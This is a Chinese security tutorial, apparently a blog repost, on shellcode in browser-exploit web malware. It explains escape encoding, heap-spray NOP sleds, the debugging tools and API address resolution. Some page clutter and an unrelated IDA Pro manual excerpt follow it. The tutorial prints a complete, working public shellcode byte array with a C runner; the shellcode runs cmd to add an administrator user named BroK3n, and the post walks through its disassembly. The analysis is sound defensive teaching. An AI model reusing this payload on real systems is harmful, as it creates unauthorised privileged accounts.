ida 提示 连接 没有microsoft jet4.0没有

IE安全系列:脚本先锋(III)–网马中的Shellcode
&>>&&>>&IE安全系列:脚本先锋(III)–网马中的Shellcode
文章评分 0 次,平均分 0.0 :
本文V.1,V.2两节也将尽量只从脚本的角度来解释部分内容,第三部分将从实例中简单总结一下通用SHELLCODE的实现方法。 下一章脚本先锋IV中,将介绍简单的shellcode分析方式。至于与其他系统安全机制结合起来的内容,“脚本先锋”系列中暂时就不提了,而将留在后续章节中介绍。
V.1 何为Shellcode,调试工具简单介绍(OD、Windbg)
shellcode本是指获得一个shell的代码,也或者是达到特定目的的代码,网马中利用IE漏洞的“Shellcode”一词,大多数就是指这样的代码集合
图:PE文件中字节和对应的反汇编语句
诚如所见,如果要通过机器码实行一段有意义的操作,代码中很可能会包含非可打印字符、扩展字符。其中,特别是扩展字符可能因为用户机器语言环境不同产生歧义。如下图,如果采用明文的方式,4个字节的内容在用户机器上长度会被判断为3(中文系统默认设置为例),这会导致在铺设shellcode时长度无法准确计算,在利用漏洞时会产生大量的不便。
因此在布置shellcode时通常都会将其escape编码。escape很简单,也即将字符重新改为字符的ASCII值的十六进制形式,并加上百分号。
Unescape能解开的数据有多种形式,常见的为:
%XX,XX为字符的ASCII值;
%uAABB,AABB为unicode字符的ASCII值,如果要把这个结果当成多字节数据来处理时,此时相当于%BB%AA;
以下并不算严格的“解开”,但是也算是一种编码格式,因此也包含进去了:
\OO、\xHH,最普通的字符串转义形式,即类C语法中的\转义符号(最常见的比如\n、\r、\0);
\uAABB,同%u。
escape不会对字母和数字进行编码,也不会对* @ - _ + . / 这些字符编码。其他所有的字符都会被转义序列替换。
unesacpe则会对所有的符合上述“能解开”的内容进行解码。
例如字符”|”,其ASCII值为124 (0x7c),经过ESCAPE编码之后则为%7C。
在网马中还会出现一个名词,这里单独介绍一下:
NOP sled(或者slide,slice): 指不会对代码执行产生太大影响的内容。或者至少是对要执行的shellcode不会影响太大的内容。
·nop (0x90,但是喷射起来可能不是多方便,毕竟如果是想要覆盖某些对象的虚表,那么0x这个地址必然是个不可能完成的任务,因为这个已经是内核态地址了,如果只是普通的缓冲区溢出使用这个也未尝不可)
·or al,0c(0x0c0c, 2字节的sled,比较方便也极为常见,即使一路喷过去,最理想情况所需内存也不过160M而已,虽然实际肯定会大一些)
·or eax,0d0d0d0d(0x0d 0x0d0d0d0d,5字节,可能导致对齐问题,但是由于不常见也不一定会被内存检测工具检测到),等等。
通过内存喷射覆盖某个已经释放了的对象后,该对象的内存看起来会像:
图:变量0x35fb03是某个class,free后该class的内存重新被nop sled占据,当该对象内的成员函数被重新使用时,EIP将变为0x0c0c0c0c+offset。
而0c0c0c0c处,则安排着有我们的shellcode,当然上面这个只是演示,所以放了一堆A在里面。
由于0x0c0c只是会操作eax,一般不会产生什么大影响,所以就可以任由它这么覆盖下去,而由于它是2个字节的,所以相比非主流的0x0d对齐时“性价比”比较好。
图:在Visual Studio 2008中模拟堆喷覆盖一个已释放的类的虚表
如果你也要做类似简单的试验,建议不要在2011之后的Visual Studio中去做,在这里面会变得比较麻烦,2011中delete操作删除一个对象后,该对象的地址会被置为0x8123。导致难以复现上述现象。
至于0x8123这个值也许之后可能大家会在分析其他软件的时候发现,简单介绍一下微软的做法:
微软在VS11 Beta中引入了这个功能,使用0x8123来解决UAF的问题,它的处理方案是相当于将原来的:
一句话给扩展为:
(void*)p = (void*)0x;
而通常,程序员所写的正确的释放过程应当为
经过插入后变为了
(void*)p = (void*)0x; p = NULL;
在编译器眼里,这三句中,由于后两句都是给同一个变量赋常量值,因而又会被自动优化为两句
看到了吧,如果正确释放,VS插入的这句不会影响最终生成结果,而如果程序员忘记了p=NULL一句,最终结果将变为:
(void*)p = (void*)0x;
而0x位于Zero Pages(第0~15页,地址范围0x0~ 0x0000FFFF)中,因而如果被访问到会导致程序触发存取违例,因而这个地址可以被视为安全的。相对于更加频繁出现的访问0x造成的空指针引用崩溃,如果程序员看到程序是访问了0x崩溃了,那么立马就应该知道是发生了释放后引用的问题。这里的内容具体可参考(1]。
Javascript堆喷的详细内容具体可以参考《Heap fengshui in Javascript》一文。(2]之后的章节中我们也会介绍。
针对二进制数据的调试,常见的工具有OllyDbg、Windbg、IDA等等。个人习惯使用Windbg+IDA,二者的功能都相当强悍,当然,OllyDbg由于界面多彩,动态调试的时候也是可以大幅提高工作效率的。
现在大致介绍一下这三个工具的最简单功能,参考资料(3]有一些相关书目,如果有兴趣的话可以参考一下这些书。
声明:以下工具限于使用时长和环境等因素,介绍可能带有个人的感情色彩,仅供参考,请根据需要自行选择适合的工具。 OllyDbg:下载地址http://ollydbg.de ,Win7 建议使用OD2。
OD支持插件,在无插件情况下,OD支持解析DLL的导出函数,设置Use Microsoft Symbol Server=1将从微软的Symbol服务器下载符号,但是似乎并不一定能解析成功,而且不支持显示从一个系统函数开始的偏移(但是点击地址行,可以转为$+X这样的相对地址),例如上图中ntdll.77279f72,在Windbg中能解析成如下可能的名称范围:
但是OD中只能显示成地址。
该地址实际属于ntdll!__RtlUserThreadStart,在Windbg中可以方便的看出来:
OD中Ctrl+G也不能显示偏移,跳转过去以后也不知道函数名:
OD会自动给你停在函数入口点(如果设置里面有这么设置的话),Windbg和IDA默认则不会。而且OD的着色系统应该是这三者中最清晰的了,调试操作为:
F7:步入(Step-in),即如果当前语句是call ADDRESS的时候,按下F7后光标会停在该函数(ADDRESS)内;
F8:步过(Step-over),运行到下一条语句,如果当前语句是call ADDRESS,按下F8后会等这个函数执行完成,然后停在call ADDRESS后面一条的语句处;
F2:设置断点,有断点的地方会显示红色:
调试断点(int3)会让语句在执行到断点处时抛出异常,调试器收到之后就可以停在那条语句上了。这在调试一个LOOP的时候非常有用,毕竟,如果一个LOOP要循环999次,你可不会想F8 999次吧,这时只需在LOOP外设置断点,然后运行程序即可。
F9:执行程序,可以配合F2用;执行的时候程序就跑起来了,不出意外不会停止的,所以如果在调试恶意代码请注意不要随意的用这个命令;
Ctrl+F9:执行到返回。执行到当前函数的RETN为止;
F4:相当于F2+F9,先下断点再执行;如果你的断点是死代码(任何分支都不会走到上面去,那程序就跑起来了,也就是俗称的跑飞了);
例如伪代码:
DO SOMETHING
DO OTHER THING
Windbg:Windbg跟随着微软的WDK而来,可以在安装WDK时一并选上安装,同时也可以单独下载,具体的百度一下即可。Windbg分为32、64位版本,建议都装上。
Windbg是文字界面,也许刚开始有些人会不适应,但是如果你用多了,你会发现这个东西真的是一个神器。
以下是常用命令:
.symfix 以及 .reload。 设置符号文件为默认的微软符号服务器,然后重新载入符号,这时,如果有对应符号,之前显示地址的内容就会显示成函数名,看起来十分方便。
如果有私有符号和源代码,可以通过.sympath+和.reload来载入,这时可以同时对比源代码调试,在应付程序崩溃时非常有用。
pct,执行到下一个call或者ret。
k,显示栈回溯。
kvn,显示栈回溯,包括参数等信息。
~*k,显示所有线程的栈回溯。
!analyze -v,分析崩溃原因(崩溃时用)。
bp,设置断点。
bc,清除断点。
bl,显示断点。
具体的也可以参考Windbg的帮助文档。
IDA:IDA是一个非常有用的静态动态分析工具,它的静态分析支持显示函数的结构:
同时,插件可以支持生成伪代码(但是并不一定完全正确,仅供参考):
同时其对微软的符号也支持的相当不错,要打开符号支持,编辑cfg/pdb.cfg即可指定符号服务器。如果之前没有设置,IDA最初可能还会提示你使用微软的符号服务器,所以可以不必太在意。
IDA的动态调试功能支持bochs、win32 debugger、gdb、windbg:
Bochs debugger需要bochs安装,然后IDA会使用bochsdbg.exe来完成动态调试。
★IDA里如果你不设置断点就运行,程序是会直接跑起来的,不会停在任何地方,请注意!
Win32 debugger为例,操作大致同OD
F2在WinMain设置断点,然后运行:
F8,步过。
F7,步入。
F9,运行。
F4,断点并运行,相当于F2+F9。
可以看得出来,按键几乎一致,不过它的符号支持要比OD强,加载了微软符号后甚至显示了各个Offset对应的含义:
而在od中结果替换掉的还是偏少:
而且,IDA中很多强悍功能都绝不足以在一节内概括说清楚,具体请参阅参考资料(2]。
V.2 网马中的shellcode
解密-获取下载地址,通过工具
在介绍完上述基本概念之后,我们再来介绍一下常量和变量的概念,这些简单的概念将有助于我们了解最简单的shellcode“解密”流程。
首先,常量,在编程语言中指不会变的量(虽然只要你想让它变它完全可以变),这里特指预设量,或者字面值。(英文是literal value,国内的书啊啥的都这么翻译,所以我也这么写了)。
简单的说,比如你要调用函数:WinExec(“cmd.exe”, 1);
stdcall的WinExec参数压栈顺序如下:首先压入最后一个参数1,然后压入倒数第二个参数”cmd.exe”。当然,这里压入的是它的地址。
汇编代码类似于:
PUSH ADDRESS_OF_CMD.EXE
CALL WinExec
而这个ADDRESS_OF_CMD.EXE则就是指向内存中已经存放好的字符串”cmd.exe”的了。
如果不能理解,可以参考下图:
请看,假设这片内存的初始地址是0x(实际Win32并不可能,不过这里只是演示,不必在意),那么CMD.EXE字符串的位置实际上是0x。
那么上述调用WinExec的代码,如果也可以访问这片内存,那么它的代码就可以是:
CALL WinExec
网马中WinExec是一个常用的函数,因为相对于ShellExecute、CreateProcess来说,它的代码更简短,当然这也造成了它更容易被检测查杀。 其他的函数还有URLDownloadToFileA/W,这是一个HTML成功溢出或者破坏浏览器内存之后首要要做的就是将木马EXE运行起来。而要保证Shellcode的长度,显然从服务器下载木马是最简单可行的。(我也见过直接WriteFile把木马写到硬盘上的,不过那段Shellcode简直大到令人发指。)
而URLDownloadToFile的第二个参数就是URL,因此这个URL极有可能也是明文存在SHELLCODE中的,找到这个地址无非对安全研究者比较重要,这对分析网马的完整危害有较大作用。
所以,让我们回到脚本,观察下列代码
阅读代码很容易就可以知道SC为最终处理完的Shellcode。
将SC输出,在浏览器中执行一下:
即可拿到解密后的shellcode,简单的看一下,代码中出现了大量的重复内容:E2,而直接将内容Unescape也没有看到像样的明文,这时可以经验得出,这段代码是被XOR加密过的,因此可以在工具中填入密钥e2,然后解开即可看到常量部分,这个就是这段代码想要下载的文件
这段代码的调试放到下章再说,不过并不难,而且这个URL也失效了,所以你也大可参照下一节(V.3)的相关内容,如果觉得一切合适了,可以放心大胆的调试。
V.3 Shellcode 123
最后,简单介绍一下大家可能会比较在意的内容,这也是SHELLCODE编写的一个必备条件之一,即shellcode如何获得函数地址,更甚之,shellcode如何通用化呢?
先说一下如何手动获得一个系统函数的地址。
图:Dependency Walker显示的ShellExecuteA导出函数的偏移量。用该值加上DLL的 Image Base即可得到本机适用的函数地址(无ASLR情况下)。
图:shell32.dll (32bit, 6.1.)的Image Base
如上图,无ASLR的环境下,该函数的地址是0x + 0x247bcd = 0x73a47bcd。
图:TencentDl.exe (32 bit)中的函数地址和模块起始地址。
0x75547bcd - 0x247bcd = 0x =&该模块当前的Image Base,这个值不同于文件声明的值的原因是开启了ASLR。
可以试验一下,ShellExecuteExA的偏移是0x247b32,则0xx247b32=0x75547b32应该是该函数地址,查阅可知确实如此:
但是除了上面的ASLR的情况,微软的库函数的地址自己也会随着系统变化、补丁更新等会发生变化,因此,硬编码一个地址必然是不行的,那么作为一个网马,如何才能做到让shellcode获取所需API的地址呢?
让我们参考一下提供的shellcode (3]:
char shellcode[] = &\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42&
&\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03&
&\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b&
&\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a&
&\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf&
&\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f&
&\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69&
&\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63&
&\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44&
&\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33&
&\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65&
&\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63&
&\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7&;
int main(int argc, char **argv){int (*f)();f = (int (*)())(int)(*f)();}
作者(Giuseppe D'Amore)提供了以上的代码供检验(代码来源:https://www./exploits/33836/)。作用是在所有系统下添加一个用户,效果如下:
图:同一个代码在x86 XP SP3、x64 Win7 SP1下均成功地添加了用户BroK3n。
具体是怎么实现的呢,可以手动编译一下上述C++程序,也可以通过工具来生成一个EXE测试:
图:去除无效字符-生成EXE即可生成调试用程序
附:提取出来的ASCII值
31d2bb520c8b521c8bb5f289cbb7ab34af01c96eac6f8b7a1c01c78b7caffc01cfd206c6fe202fbbf2e89e5fe4dffd7
让我们看一下反汇编后的结果:
0:000& uf imagex5000
Flow analysis was incomplete, some code may be missing
imagex5000:
edx,dword ptr fs:[edx]
edx,dword ptr [edx+0Ch]
edx,dword ptr [edx+1Ch]
imagex500d:
eax,dword ptr [edx+8]
esi,dword ptr [edx+20h]
edx,dword ptr [edx]
byte ptr [esi+0Ch],33h
imagex500d (0040500d)
imagex501b:
edi,dword ptr [eax+3Ch]
edx,dword ptr [edi+78h]
edi,dword ptr [edx+20h]
imagex502c:
esi,dword ptr [edi+ebp*4]
dword ptr [esi],456E6957h
imagex502c (0040502c)
imagex503a:
edi,dword ptr [edx+24h]
bp,word ptr [edi+ebp*2]
edi,dword ptr [edx+1Ch]
edi,dword ptr [edi+ebp*4-4]
682f63206e
byte ptr [ebp+53h]
004050bc 31c0
004050be 50
004050bf 55
针对代码的分析还是老样子,遵循按块来的原则。另外,如果目前为止你对阅读汇编代码还比较吃力,你也可以只看文字部分,了解个大概即可,之后还会详细说这块的内容的:
imagex5000:
edx,dword ptr fs:[edx]
edx,dword ptr [edx+0Ch]
edx,dword ptr [edx+1Ch]
imagex500d:
eax,dword ptr [edx+8]
esi,dword ptr [edx+20h]
edx,dword ptr [edx]
byte ptr [esi+0Ch],33h
imagex500d (0040500d)
这个循环所做的事情是:获取kernel32.dll的基址。
为何这段代码可以做到这点呢?
edx,dword ptr fs:[edx]
相当于mov edx, dword ptr fs:[0x30],但是如果直接这么写会在里面混入NULLCHAR,(MOV EDX,DWORD PTR FS:[30] 的机器码是 64 8B15 ),有损通用性,所以作者使用了这个方式。FS:[0x30]存放着PEB指针,因此这段代码执行后,edx即为PEB的指针。
edx,dword ptr [edx+0Ch]
edx,dword ptr [edx+1Ch]
这两行代码的作用是获取InInitializationOrderModuleList的地址。这个里面存放着PE载入时初始化用到的模块信息。
具体看一下PEB的结构就知道
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged
+0x003 BitField
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsLegacyProcess
: Pos 2, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit
+0x003 SpareBits
: Pos 5, 3 Bits
+0x004 Mutant
: Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr
: Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
可见第一句获取了_PEB_LDR_DATA的指针,然后第二句就拿到了InInitializationOrderModuleList。
dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0x000 Length
+0x004 Initialized
+0x008 SsHandle
: Ptr32 Void
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
+0x024 EntryInProgress
: Ptr32 Void
+0x028 ShutdownInProgress : UChar
+0x02c ShutdownThreadId : Ptr32 Void
这个链表中就存着模块地址
imagex500d:
eax,dword ptr [edx+8]
esi,dword ptr [edx+20h]
edx,dword ptr [edx]
byte ptr [esi+0Ch],33h
imagex500d (0040500d)
所以上述代码就在不断寻找kernel32.dll的地址,edx+8就是地址,edx+20h则为函数名字,ASCII 0x33是字符”3”,因此它在比较第7个字(0xC == 12 (dec))是否为“3”,因为这些按顺序加载的模块也就kernel32在第七个字上是3了,所以这个还是比较准的。
接着,找到所需的导出函数: imagex501b: c7 mov edi,eax 783c add edi,dword ptr [eax+3Ch] b5778 mov edx,dword ptr [edi+78h] c2 add edx,eax b7a20 mov edi,dword ptr [edx+20h] c7 add edi,eax ed xor ebp,ebp
也就是上述代码所干的事情,找到kernel32地址之后,+0x3C就是PE头,PEHEADER处+0x78的地方是导出表的指针,导出表指针+0x20处是导出函数名的列表,教科书一样的操作。
imagex502c:
esi,dword ptr [edi+ebp*4]
dword ptr [esi],456E6957h
imagex502c (0040502c)
然后,只要找到所需函数即可,这里作者需要的是包含0x456e6957的函数,
事实上很简单就能猜到作者想要的是WinExec。
imagex503a:
edi,dword ptr [edx+24h]
bp,word ptr [edi+ebp*2]
edi,dword ptr [edx+1Ch]
edi,dword ptr [edi+ebp*4-4]
事实上这里作者就计算出了函数的偏移+模块地址=函数地址,还记得半页纸前我说的“笨”计算方法吧。
这一些就是之前所说的“常量”部分,
执行一下看看esp上存了啥吧,这样就一目了然了。最终,作者call esi,调用WinExec启动cmd,这样就添加上了用户。可惜作者没处理ExitProcess,最终程序的环境被弄得一塌糊涂,免不了崩溃收场。但是作者的目的达到了,用户都加上了,崩溃也无妨。
(1] /cybertrust//guarding-against-re-use-of-stale-object-references/
(2] heap fengshui in javascript: /presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf
(3] 《Windows高级调试》(Windbg)、《IDA Pro权威指南》(IDA)、《逆向工程核心原理》部分章节(OllyDbg,内容非常基础向,并没有书名看起来那么高深:))
(4] https://www./shellcode/
(5] 文中提到的相关恶意代码下载,密码 drops.wooyun.org,请在虚拟环境调试。
除特别注明外,本站所有文章均为原创,转载请注明出处来自
如果您有站务合作方面的需求,请通过以下方式联系我。QQ: Email: tiejiang#tiejiang.org(#换成@)
您也可以使用第三方帐号快捷登录
扫一扫二维码分享温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!&&|&&
LOFTER精选
网易考拉推荐
用微信&&“扫一扫”
将文章分享到朋友圈。
用易信&&“扫一扫”
将文章分享到朋友圈。
图5-1显示一个非常简单的函数图形视图。图形视图类似程序流程图,它将函数分解为基本块,生动显示该函数由一个块到另一个块的控制流程。
在屏幕上你会发现,IDA使用不同颜色的箭头区分函数块之间各种类型的流。根据测试条件,在条件跳转位置终止的基本块可能会生成两种流:Yes边的箭头(是的,执行分支)默认为绿色,No边的箭头(不,不执行分支)默认为红色。在后一个块的开始位置终止的基本块会利用一个正常边(默认为蓝色)指向下一个即将执行的块。
在图形模式下,IDA一次显示一个函数。使用滚轮滚轮鼠标的用户,可以使用“CTRL+鼠标滚轮”来调整图形的大小。键盘缩放控制需要使用“CTRL+加号键”来放大,或使用“CTRL+减号键”来缩小(使用键数字小键盘上“+”和“ - ”)。大型或复杂的函数可能会导致图形视图变得极其杂乱,使得用户难于导航。在这种情况下,使用“图形概况”窗口(见图5-2)会有所帮助。概况窗口会始终显示图形完整的块状结构,并用一个虚线框指出你当前在反汇编窗口中查看的图形区域。用户可以用鼠标在概况窗口中拖动该虚线框,以迅速将图形视图调整到任何想到的位置。
图5-2:图形总览窗口
用户可以使用几种方法控制图形视图的显示方式,以满足你的需求:
首先,除了使用图形总览窗口迅速定位图形外,你也可以通过点击和拖动图形视图的背景重新定位图形。
嘿嘿,是不是这里有遗漏?
在使用图形视图时,你获得的有关每一个反汇编代码行的信息似乎要更少一些。这是因为IDM隐藏了许多与每个反汇编行有关的更加传统的信息(如虚拟地址信息),以最大限度地减少显示每个基本块所需的空间。要想显示与每个反汇编行有关的其他信息,可以通过Options?General命令打开IDA常规选项,然后在Disassembly选项卡的可用的反汇编行部分选择相应的选项。例如,要给每一个反汇编行添加虚拟地址,可以启用“行前缀”,将图5-1中的图形转变为如图5-3所示的图形。
图5-3:启用行前缀的图形视图
重新排列块
通过单击指定块的标题栏并将其拖动到新的位置,用户可以移动图形中每个块的位置。要注意的是IDA会尽可能少地重新设定移动块连接线的位置。你可以拖动连接线的顶点,手动更改连接线的路径。在按下SHIFT键的同时,在连接线的任何位置双击鼠标,即可在该位置添加一个新顶点。如果希望还原默认的图形布局,可以右击图形,并在出现的菜单中选择Layout Graph。
分组和折叠块
可以对块分组,每个块单独或与其他块一起分组;并可将分组后的块折叠,以减少显示混乱程度。折叠块特别有用,可以帮助你追踪已经分析过的块。要折叠块,可以右击块的标题栏,然后在出现的菜单上选择“Group Nodes”。
创建附加的反汇编窗口
如果你想要同时查看两个不同函数的图形,可以通过View?Open Subviews?Disassembly命令打开另一个反汇编窗口。这样打开的第一个反汇编窗口叫做IDA View-A。随后的反汇编窗口叫做IDA View-B、IDA View-C,依次类推。每个反汇编窗口都独立于其他窗口。你完全可以在一个窗口中查看一个图形,在另一个窗口中查看文本列表,或者在3个不同的窗口中查看3个不同的图形。
需要指出的是,你对视图的控制并不仅限于这些示例。我们将在第9章介绍其他IDA图形功能,有关操作IDA图形视图的更多信息,请参见IDA的帮助文挡。
IDA文本视图
面向文本的反汇编窗口是查看和操作IDA生成反汇编的传统显示。文本显示窗口会呈现一个程序的完整反汇编代码清单(而在图形模式下一次只能显示一个函数),是查看一个二进制文件的数据区域的唯一手段。图形中显示的所有信息均以某种形式存在于文本显示窗口中。
图5-1和图5-3所显示函数的文本视图列表如图5-4所示。窗口中的反汇编以线性的方式,默认情况下使用虚拟地址显示。通常,虚拟地址以[区域名称]:[虚拟地址]这种格式显示,如:.text:。
显示窗口的左侧部分称为做箭头窗口?,用于描述函数中的非线性流程。实线箭头表示无条件跳转,虚线箭头则表示条件跳转。当一个跳转(条件或非条件)将控制权转交给程序中较早的地址时,使用粗的加权线(实线或虚线)。出现这类逆向流程,通常表示程序中存在循环。在图5-4中,从地址004011CF到就是循环箭头流程。
位置?的声明(也出现在图形视图中)是IDA对于函数栈帧布局的最准确估算。IDA会对函数栈指针及函数使用的任何栈帧指针的行为进行仔细分析,从而计算出该函数栈帧的结构。栈显示将在第6章详细讨论。
位置w的注释(以分号开头)属于交叉引用。在这个例子中,我们看到的是代码交叉引用(而不是数据交叉引用),它表示另一个程序指令引用了交叉引用注释所在位置的指令。交叉引用将在第9章讨论。
在本书的剩余部分,我们将主要以文本显示为例。只有在图形显示比文本显示更加清楚的情况下,我们才会用到图形显示。在第7章,我们将详细介绍文本显示,以清理和注释反汇编过程。
图5-4:IDA文本视图
1.1.2函数窗口
使用函数窗口,列出IDA数据库中已识别所有的函数。函数窗口显示项如下所示:
malloc .text&&&&&&&& 00BDC260 & R ...B ..
这种特殊的行表示:在二进制文件的.text段00BDC260的虚拟地址处发现malloc函数,其长度为384个字节(十六进制180),有返回值给调用者(R),且局部变量使用EBP寄存器(B)进行引用。如需了解更多有关用于描述函数的标记(如上面的R和B)的信息,请参阅IDA的内部帮助文档(或右击一个函数并选择Properties,标记将以可编辑的复选框显示)。
与其他窗口一样,在函数窗口中双击选中的函数,反汇编窗口会跟着跳转到选中函数所在的位置。
1.1.3输出窗口
当你打开新文件时,IDA工作区底部的输出窗口与其他窗口一起组成了IDA的默认窗口。输出窗口提供如同IDA的输出控制台,从中可以找到与IDA所执行任务有关的信息。例如,当初次打开一个二进制文件,IDA将生成消息,指出它在某个时刻所处的分析阶段,以及它为创建新数据库而执行的操作。当你使用数据库时,输出窗口将输出你所执行各种操作的状态。你可以将输出窗口的内容复制到系统剪贴板中,也可以右击窗口的任何位置,并在出现的菜单中选择相应的操作而完全删除输出窗口的内容。通常,输出窗口是显示你为IDA开发的任何脚本和插件输出的主要窗口。
1.2IDA次要显示
除反汇编、函数和输出窗口,IDA在桌面上还打开了一些其他选项卡式窗口。这些标签刚好在导航带之下(见图4-9的w处)。这些窗口用于提供备选或专门的数据库视图。是否使用这些显示窗口,取决于你所分析二进制文件的特点,以及你使用IDA的技巧度。其中一些窗口非常特殊,我们将在后面几章中详细介绍。
1.2.1十六进制视图窗口
十六进制视图有些用词不当,在本例中,十六进制视图窗口有多种显示格式可以配置,并可作为十六进制的双编辑器。默认情况下,十六进制窗口显示程序内容的标准十六进制列表,显示每行16个字节,及对应的ASCII字符。与反汇编窗口一样,可以同时打开几个十六进制窗口。第一个十六进制窗口的标题为Hex View-A,第二个十六进制窗口为Hex View-B,接下来的窗口为Hex View-C,依次类维。默认情况下,第一个十六进制窗口会与第一个反汇编窗口同步。当反汇编窗口与十六进制窗口同步,在一个窗口中滚动鼠标,另一个窗口也会滚动到相同的位置(同一个虚拟地址)。此外,如果在反汇编窗口中选中一个项目,十六进制窗口中的对应字节也将突出显示。如图5-5所示,反汇编视图光标定位在地址0040108C,这是一个调用指令,那么,在十六进制窗口中,构成这个指令的全部5个字节均突出显示。
图5-5:同步的十六进制和反汇编窗口
此外,当你用鼠标右键单击十六进制窗口内的任何地方,就会在十六进制窗口弹出如图5-5所示可用的上下文菜单。使用这个菜单,可以指定与某个特殊的十六进制窗口同步的反汇编窗口(如果有的话)。如果取消同步选项,在滚动十六进制窗口时,由于它独立于任何反汇编窗口,所以反汇编窗口不会有随之滚动。选择Edit菜单选项,将十六进制视图变成十六进制编辑器。一旦编辑完成,你必须提交或取消你的更改,以返回视图模式。Data Format菜单项允许你选择各种显示格式如:1、2、4或8字节的十六进制,有符号或无符号十进制整数和不同的浮点格式。Columns菜单选项允许你改变在显示中使用的列数,Text选项允许打开和关闭文本列表。
在某些情况下你可能会发现十六进制窗口中显示的全部是问号,这表示IDA无法识别给定的虚拟地址范围内的值。当程序中包含一个bss节,就会出现这种情况。通常,bss节并不占用文件空间,但加载器会扩展这一节,以适应程序的静态存储要求。
1.2.2导出窗口
导出窗口列出文件的入口点。这包括程序的执行入口点,在程序的文件头指定,以及任何由文件导出给其他文件使用的函数和变量。用户可在共享库(如)中导出的函数,常见的有Windows DLL文件。导出项目按名称、虚拟地址和序数(如果可用)排列。对于可执行文件,导出窗口中至少包含一个项目:程序的执行入口点。IDA将这个入口点取名为start。导出窗口中的常见条目如下所示:
LoadLibraryA&&& 7C801D77& 578
与许多其他IDA窗口一样,双击导出窗口中的一个条目,IDA将会跳转到反汇编窗口中与该项目有关的地址。导出窗口提供与objdump (-T)、readelf (-s)和dumpbin (/EXPORTS)等命令行工具类似的功能。
1.2.3导入窗口
导入窗口的功能与导出窗口的功能正好相反。它列出分析二进制文件导入的所有函数。只有在二进制文件使用共享库,IDA才用到导入窗口。静态链接的二进制文件不依赖外部关系,因此不需要导入。导入窗口中的每个条目列出一个导入项目(函数或数据)的名称,以及包含该项目的库名称。由于导入函数的代码位于共享库中,窗口中每个条目列出的地址参照相关导入表条目的虚拟地址。以下是导入窗口中的一个条目:
GetModuleHandleA &&& KERNEL32
双击此条目,IDA反汇编窗口将跳转到地址。在十六进制窗口中,这个内存位置的内容显示为?? ?? ??。IDA是一种静态分析工具,它无法获知程序执行时会在这个位置输入什么地址。导入窗口还提供objdump (-T)、readelf (-s)和dumpbin (/IMPORTS)等命令行工具类似的功能。
对于导入窗口,需要记住的一点是:导入窗口只显示二进制文件想要动态加载器自动处理的符号,二进制文件选择使用dlopen/dlsym或LoadLibrary/GetProcAddress等机制自行加载符号不会在导入窗口显示。
1.2.4结构窗口
结构体窗口用于显示IDA确定的二进制文件中使用的任何复杂的数据结构的布局,例如,C的结构或联合。在分析阶段,IDA会查询扩展的函数类型库特征,设法匹配函数参数的类型与程序使用的内存。结构窗口如图5-6所示,表明IDA认为程序使用了sockaddr数据结构。
图5-6:结构窗口
IDA会得出这样的结论,可能有许多原因。其中一个原因是:IDA发现,程序为建立新的网络连接调用了C库connect函数。双击数据结构的名称(本例中为sockaddr),IDA将展开该结构,允许你查看该结构的详细布局,包括每个字段的名称和大小。
结构窗口的两个主要用途是:(1)为标准数据结构的布局提供现成的参考;(2)为你提供一种方法,在你发现程序使用的自定义数据结构时,帮助你创建自己的、可用作内存布局模块的数据结构。我们将在第8章详细讨论结构的定义及结构在反汇编过程中的应用。
1.2.5枚举窗口
枚举窗口有点类似于结构窗口。档IDA检测到标准枚举数据类型(C的枚举型),它将在枚举窗口中列出该数据类型。你可以使用枚举来代替整数常量,提高反汇编代码的可读性。像结构窗口一样,在枚举窗口中也可以定义自己的枚举类型,并将其用在经过反汇编的二进制代码中。
1.3IDA第三类显示
最后我们讨论的是默认情况下IDA不会打开的窗口。这些窗口可以通过View?Open Subviews命令打开。但是,它们提供的并不是你当前需要的信息,因此,IDA开始并不打开这些窗口。
1.3.1字符串窗口
IDA内置的字符串窗口相当于字符串的一些实用工具。在IDA 5.1和更早的版本,桌面默认打开字符串窗口。然而,从5.2版开始,IDA不再默认打开字符串窗口,不过用户可以通过View?Open Subviews?Strings命令打开该窗口。
